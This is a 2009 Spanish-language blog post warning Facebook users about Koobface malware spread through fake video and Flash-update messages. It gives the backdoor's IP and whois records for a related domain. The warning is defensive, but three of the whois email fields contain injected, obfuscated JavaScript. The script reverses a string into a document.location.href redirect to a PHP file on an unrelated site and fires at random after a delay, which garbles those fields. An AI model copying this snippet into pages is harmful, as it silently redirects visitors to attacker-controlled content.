Si es usuario de FaceBook, cuidado con los mensajes que recibe… (igual que con MSN y mails)

Si se recibe un mensaje similar a:

no pulsar sobre él!!! 

En este caso se ofrece ver un video para el que haga falta una actualizacion de flash o un nuevo driver… pero lo que realmente hace es ingresar un malware!

Al igual que los mails o los mensajes de MSN, tambien a traves del FaceBook llegan malwares, hay que confirmar que el presunto emisor lo haya enviado voluntariamente.
 Fuente

No confiarse de nada que llegue sin haberlo solicitado, y aun asi, cuidado !

saludos

ms, 13-9-2009

NOTA: El backdoor en cuestion intenta acceder a IP 85.234.141.92 de GB United Kingdom P9 Windsor and Maidenhead Maidenhead  51.5167 -0.7000 BlueConnex MK Ltd BlueConnex Ltd  (lo cual es interceptado por el Site Advisor de McAFee, se recomienda su uso…)

Buscando informacion sobre dicha IP, vemos que está registrada a nombre de Ivan Petrenko, relacionado con otros Trojan.Koobface:

Domain IP(s): Reverse:
 
85.234.141.92 85-234-141-92.static.as29550.net

 
Name servers:

ns10.uadns.com => 91.209.206.155 | 2 domains listed using this name server
ns11.uadns.com => 91.194.250.162 | 2 domains listed using this name server
 
Registration Service Provided By: SERVICE ONLINE LLC – DOMAIN REGISTRATION SYSTEM – HTTP://DRS.NET.UA
Contact: +380.445933225

Domain Name: UPR200908013.COM

Registrant:
none
Ivan Petrenko        ($NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:kfmnmkswrnkcxlgpfdxb68@gmail.com”>kfmnmkswrnkcxlgpfdxb68@gmail.com)
Vinogradnaya
10
Kiev
none,129384
UA
Tel. +380.000000000

Technical Contact:
Service Online LLC
Service Online LLC        ($NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:support@nic.ua”>support@nic.ua)
p/b 147
KYIV
Kiev,04050
UA
Tel. +380.445937569
Fax. +380.445937569

Status:ACTIVE

The data in this whois database is provided to you for information purposes only,
that is, to assist you in obtaining information about or related
to a domain name registration record. We make this information available "as is",
and do not guarantee its accuracy. By submitting a whois query, you agree that you will
use this data only for lawful purposes and that, under no circumstances will you use this data to:
(1) enable high volume, automated, electronic processes that stress
or load this whois database system providing you this information; or
(2) allow, enable, or otherwise support the transmission of mass unsolicited,
commercial advertising or solicitations via direct mail, electronic mail, or by telephone.
The compilation, repackaging, dissemination or other use of this data is expressly prohibited without
prior written consent from us. The Registrar of record is Directi Internet Solutions Pvt. Ltd. d/b/a PublicDomainRegistry.com.
We reserve the right to modify these terms at any time.
By submitting this query, you agree to abide by these terms.        
 
2 domain were found on 85.234.141.92 Domain IP PTR Description Registrant Date Details
upr200908013.com 85.234.141.92 85-234-141-92.static.as29550.net  Trojan Koobface Ivan Petrenko / $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:bigvillyxxx@gmail.com”>bigvillyxxx@gmail.com
 
ms.